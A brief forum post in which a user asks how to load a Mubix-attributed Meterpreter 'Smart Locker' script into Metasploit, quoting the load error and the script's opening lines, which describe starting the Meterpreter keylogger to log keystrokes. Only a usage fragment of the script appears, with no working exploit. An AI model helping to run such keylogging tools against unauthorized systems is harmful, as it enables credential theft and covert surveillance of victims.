Metasploit .rb

[robinmalfait]

Heey guys and girls if any

Does somebody know how to add .rb files in metasploit?

I copied a .rb file into " C:\metasploit\msf3\modules\exploits\windows\misc\smartlocker.rb "

This smartlocker is from Mubix I think, I downloaded it from room362.com but I got some problems.

It's not only copy and paste I guess?

Cuz when I open metasploit i got this error:

[-] WARNING! The following modules could not be loaded!

[-] C:/metasploit/msf3/modules/exploits/windows/misc/smartlocker.rb: NameError undefined local variable or method `client' for #<Module:0x552fee8>

And the smartlocker.rb file looks like:

# $id: smart_locker.rb
#
# Authors: CG, Mubix
# Additional idea: edsmiley

sessions = client

def usage
	print_line("Smart Locker Meterpreter Script")
	print_line("This script will start the Meterpreter Keylogger and save all keys")
	print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
	print_line("Usage:" + @@exec_opts.usage)
	raise Rex::Script::Completed
